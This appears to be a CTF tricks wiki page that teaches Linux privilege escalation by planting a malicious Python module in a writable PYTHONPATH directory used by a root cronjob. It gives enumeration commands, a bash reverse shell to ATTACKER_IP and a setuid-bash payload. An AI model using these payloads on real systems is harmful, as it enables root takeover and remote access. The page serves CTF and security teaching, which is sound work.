> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux-exploit/trick-0034.md).

# Docker PE Via Writable PYTHONPATH Directory

***

Identify a root process (like a cronjob) running Python where its environment includes `PYTHONPATH` containing a directory writable by your user.

The `PYTHONPATH` environment variable is a colon-separated list of directories that Python searches for modules. When importing a module, Python searches these directories in order. If a directory in `PYTHONPATH` is writable by the user and appears before the directory where the legitimate module is stored, the user can create a malicious module with the same name as the legitimate one. When the process runs, Python will import the malicious module from the writable directory instead of the legitimate one.

You can check the current value of the `PYTHONPATH` variable in a shell using:

```bash
echo $PYTHONPATH
```

To see the actual search path Python will use, you can run:

```python
python -c 'import sys; print(sys.path)'
```

This command will print the list of directories that Python searches for modules, in the order they are checked.

For instance, a cronjob like:

```bash
* * * * * root PYTHONPATH=/dev/shm:$PYTHONPATH python3 /usr/local/sbin/backup.py
```

If `/dev/shm` has permissions like `drwxrwxrwt`, it's writable by anyone.

You can identify potentially writable directories using commands like:

```bash
find / -writable -type d 2>/dev/null
```

This command finds directories writable by the user running the command. To specifically find world-writable directories, you can use:

```bash
find / -perm -o+w -type d 2>/dev/null
```

or

```bash
find / -perm -2 -type d 2>/dev/null
```

These commands search the filesystem for directories where the 'other' permissions include write access.

Identify a module imported by the root script (e.g., `backup.py` imports `cbackup`).

Create a file with the same name as the imported module in the writable directory (`/dev/shm/cbackup.py`) containing your payload.

For a simple command execution payload, you could use:

```python
import os; os.system('whoami > /tmp/output')
```

This example writes the user executing the script's name to `/tmp/output`.

For a reverse shell payload:

```python
import os
os.system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"')
```

Alternatively, for a setuid payload on `/bin/bash`:

```python
import os; os.system('chmod +s /bin/bash')
```

Execute the command to create the file. Using the simple `whoami` example:

```bash
echo "import os; os.system('whoami > /tmp/output')" > /dev/shm/cbackup.py
```

Using the reverse shell example:

```bash
echo "import os\nos.system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"')" > /dev/shm/cbackup.py
```

When the root process executes the script, the Python interpreter will search for the required module (e.g., `cbackup`). Due to the `PYTHONPATH` variable, it will find your malicious file (`/dev/shm/cbackup.py`) first and execute the code inside it with the privileges of the root process.
